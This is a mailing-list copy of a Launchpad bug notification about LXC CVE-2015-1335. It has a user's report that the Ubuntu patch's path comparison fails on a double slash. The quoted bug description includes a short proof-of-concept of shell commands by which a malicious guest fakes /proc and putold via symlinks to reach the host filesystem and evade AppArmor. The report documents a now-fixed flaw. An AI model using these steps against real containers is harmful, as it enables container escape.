touch-packages team mailing list archive

[Daniel Kraft <daniel.kraft@xxxxxx>]

The problem lies in the ubuntu patch

http://archive.ubuntu.com/ubuntu/pool/main/l/lxc/lxc_1.0.7-0ubuntu0.5.debian.tar.gz

where this code

+	size_t start = croot ? strlen(croot) : 0;
+	if (strcmp(ws + start, target + start) != 0) {
+		ERROR("Mount onto %s resulted in %s\n", target, ws);
+		goto out;
+	}

in file 0003-CVE-2015-1335.patch checks if ws and start are the same.
According to the given error (which I forgot to paste above), ws and target ARE different:

lxc-start: utils.c: ensure_not_symlink: 1384 Mount onto /usr/lib/x86_64
-linux-gnu/lxc//proc resulted in /usr/lib/x86_64-linux-gnu/lxc/proc

So target is

  /usr/lib/x86_64-linux-gnu/lxc//proc

and ws is

   /usr/lib/x86_64-linux-gnu/lxc/proc

Any hints how we could prevent the double slashing? Or would you just
"clean up" the path somehow?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lxc in Ubuntu.
https://bugs.launchpad.net/bugs/1476662

Title:
  lxc-start symlink vulnerabilities may allow guest to read host
  filesystem, interfere with apparmor

Status in lxc package in Ubuntu:
  Fix Released

Bug description:
  lxc-start shuffles around mounts using helper directory
  /usr/lib/x86_64-linux-gnu/lxc (guest root fs is mounted here)

  It then modifies mounts operating in guest root directory before
  invoking init. As it does not check if all mount points are
  directories, a malicious guest may modify its internal structure
  before shutdown (or was created using manipulated image) and then when
  started again, guest may

  * Access  the whole host root filesystem

  * Block switching from lxc-start apparmor profile to lxc-container-
  default

  
  # Real putold before pivot-root (root fs will end here)
  mkdir -p /x/lxc_putold

  # Faked putold
  ln -s /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold lxc_putold
  mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc
  touch /usr/lib/x86_64-linux-gnu/lxc/x/lxc_putold/proc/mounts

  
  # proc fake
  mkdir -p /x/proc
  umount /proc
  rmdir /proc
  ln -s /usr/lib/x86_64-linux-gnu/lxc/x/proc proc

  mkdir -p /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr /usr/lib/x86_64-linux-gnu/lxc/x/proc/self
  touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/1/attr/current
  touch /usr/lib/x86_64-linux-gnu/lxc/x/proc/self/status


  The  issue was also found during
  https://service.ait.ac.at/security/2015/LxcSecurityAnalysis.html

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1476662/+subscriptions